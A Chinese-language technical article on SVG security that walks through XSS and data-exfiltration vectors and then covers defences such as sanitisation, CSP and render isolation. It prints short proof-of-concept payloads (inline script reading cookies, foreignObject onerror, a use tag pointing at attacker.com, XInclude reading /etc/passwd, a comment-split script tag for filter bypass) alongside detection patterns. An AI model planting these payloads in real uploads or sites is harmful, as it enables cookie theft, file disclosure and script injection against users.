SVG 作为可缩放矢量图形格式,本质上是 XML 文档,可以嵌入 JavaScript、CSS 动画甚至外部资源引用。这一特性使其成为 Web 应用中常见的安全风险点。当用户可以上传或直接渲染未经净化的 SVG 时,攻击者可以利用多种向量执行跨站脚本攻击(XSS)或窃取敏感数据。本文将从攻击向量、浏览器解析器绕过技术到防御工程化方案进行完整解析。
核心攻击向量分析
内联脚本与事件处理器
SVG 标准允许在文档中直接嵌入 <script> 标签,这与 HTML 中的脚本引入机制完全相同。攻击者构造的恶意 SVG 可能包含如下 payload:
<svg xmlns="http://www.w3.org/2000/svg">
<script>alert(document.cookie)</script>
</svg>
除显式脚本标签外,SVG 元素还支持大量事件处理器属性,例如 onload、onclick、onmouseover、onfocus 等。当 SVG 被直接嵌入页面或通过 innerHTML 动态插入时,这些事件处理器会立即触发执行。值得注意的是,某些 SVG 渲染模式(如在 <img> 标签中加载)会阻止脚本执行,但通过 iframe 嵌入、直接插入 DOM 或使用 CSS background-image 时,攻击即可成功。
foreignObject 扩展攻击面
<foreignObject> 是 SVG 中最具威胁性的元素之一,它允许在 SVG 内部嵌入任意命名空间的 XML 内容,最典型的应用是嵌入 HTML:
<svg xmlns="http://www.w3.org/2000/svg">
<foreignObject>
<body xmlns="http://www.w3.org/1999/xhtml">
<img src="x" onerror="alert(1)"/>
</body>
</foreignObject>
</svg>
这个特性的危险之处在于:很多净化工具只关注 SVG 本身的标签和属性,却忽视了 foreignObject 内部内容的二次净化。攻击者可以利用 HTML 上下文中的传统 XSS 向量(如 onerror、onload)绕过仅针对 SVG 的过滤规则。Mozilla Bug 1754522 记录了通过 SVG 的 foreignObject 加载 iframe 实现的同源 XSS 案例,这进一步证明该向量的实用性。
use 标签与外部资源注入
<use> 标签允许 SVG 引用同一文档或其他文档中定义的片段。这一特性可被滥用于外部资源加载和数据泄露:
<svg xmlns="http://www.w3.org/2000/svg">
<use href="http://attacker.com/malicious.svg#fragment"/>
</svg>
攻击者可以通过控制 href 属性让受害浏览器向任意域名发起请求,实现敏感数据(如 IP 地址、Cookie)外传。此外,某些场景下 use 还能引用同源文档中的隐藏内容,绕过访问控制。
XInclude 与 XML 特性注入
XInclude 是 XML 规范提供的包含机制,虽然现代浏览器对其支持有限,但在某些服务端处理流程(如 SVG 转换、PDF 生成)中可能被解析。攻击者可以尝试注入外部实体引用或利用 XInclude 指向恶意资源:
<svg xmlns="http://www.w3.org/2000/svg"
xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include href="file:///etc/passwd"/>
</svg>
虽然浏览器端直接利用难度较高,但在后端使用 libxml2 等库解析 SVG 的应用场景中,此类注入可能导致本地文件读取或 SSRF 攻击。
浏览器解析器绕过技术
安全研究者长期关注浏览器解析 SVG 时的差异化行为,这些差异往往被用于绕过服务端过滤。最著名的案例是 Mozilla Bug 641148:浏览器对内联 SVG 的解析规则允许绕过服务端的 XSS 过滤器。攻击者利用 SVG 独特的命名空间切换机制,将恶意脚本嵌入看似无害的上下文中。
混淆与嵌套技术
通过精心构造的标签嵌套和属性伪装,攻击者可以绕过基于正则表达式的过滤逻辑。例如,将 script 标签拆分、使用大小写混合、插入无效字符或利用 XML 注释绕过常见检测:
<svg><sc<!-- -->ript>alert(1)</sc<!-- -->ript></svg>
此外,攻击者还利用 SVG 中的动画元素(SMIL)和 CSS 样式间接执行脚本,虽然这些技术的实际利用难度较高,但在特定场景下可以作为备选向量。
解析状态差异
浏览器在不同渲染模式下对 SVG 的处理存在微妙差异。当 SVG 作为图像加载(<img src="x.svg">)时,大多数脚本和事件处理器被禁止;但通过 object、embed、iframe 加载或直接插入 DOM 时,攻击面大幅扩展。防御方必须认识到:安全边界不在于「SVG 能否执行脚本」,而在于「以何种方式渲染该 SVG」。
防御工程化方案
服务端净化:严格过滤与白名单
任何用户提供的 SVG 都应经过服务端净化处理。推荐使用成熟的开源库,如 DOMPurify(支持 SVG 上下文)或专门针对 SVG 设计的净化工具。净化的核心原则包括:
- 标签黑名单:明确禁止
<script>、<foreignObject>、<iframe>、<object>、<embed>、<use>(带外部引用)等高风险元素。 - 属性黑名单:剥离所有以
on开头的属性(如onload、onerror、onmouseover),禁止javascript:和data:协议出现在href、src等属性中。 - 命名空间验证:确保 SVG 文档仅包含标准的 SVG 命名空间,拒绝包含意外命名空间声明的文档。
需要强调的是,净化必须在服务端完成,客户端 JavaScript 净化无法防御服务端渲染场景。
内容安全策略(CSP)部署
即使经过净化,CSP 仍是最有效的纵深防御手段。推荐配置如下:
Content-Security-Policy:
default-src 'self';
script-src 'nonce-{random}' 'strict-dynamic';
object-src 'none';
base-uri 'self';
form-action 'self';
关键指令包括:script-src 'nonce-{random}' 禁止内联脚本执行;object-src 'none' 阻止插件类型内容加载;style-src 'self' 限制 CSS 来源。对于必须展示用户 SVG 的场景,可额外使用 sandbox 指令限制 iframe 行为能力。
渲染上下文隔离
用户上传的 SVG 不应直接嵌入主页面 DOM。推荐方案包括:
- 图像模式渲染:将净化后的 SVG 转换为 Base64 或 Blob URL,通过
<img>标签加载,此时浏览器会禁用脚本执行。 - 沙箱 iframe:使用
sandbox="allow-scripts allow-same-origin"属性(仅在必要时)加载 SVG,同时设置Content-Disposition: attachment防止同源脚本访问主页面 Cookie。 - 独立域名服务:将用户生成的 SVG 通过独立域名托管,彻底隔离 Cookie 和 DOM 访问。
上传阶段的预检查
在净化之前,应在上传阶段实施基础检查:
- MIME 类型验证:仅接受
image/svg+xml,拒绝application/xml或text/plain。 - 文件大小限制:防止过大的 SVG 导致服务端资源耗尽。
- 文件内容预扫描:检测是否包含
<script字符串、onload属性、javascript:协议等明显恶意模式。 - 重写与再编码:净化后的 SVG 可选择重新序列化为全新文件,消除原始文档中的隐藏字符和编码陷阱。
监控与持续更新
SVG 安全并非一次性修复,而是持续攻防过程。建议建立以下机制:
- 关注各大浏览器安全公告和 CVE 数据库,及时了解 SVG 解析器新发现的漏洞。
- 定期使用已知恶意 SVG payload 对净化流程进行回归测试,确保新过滤规则有效。
- 日志记录用户上传 SVG 的频率、来源和净化结果,便于异常检测。
资料来源
本文技术细节参考以下资源:Mozilla Bug 641148 记录的内联 SVG 解析规则绕过;Mozilla Bug 1754522 关于 foreignObject 中 iframe XSS 的案例;PortSwigger Research 发布的 SVG animate XSS 向量研究;OWASP Cross Site Scripting Prevention Cheat Sheet 提供的 XSS 防御框架。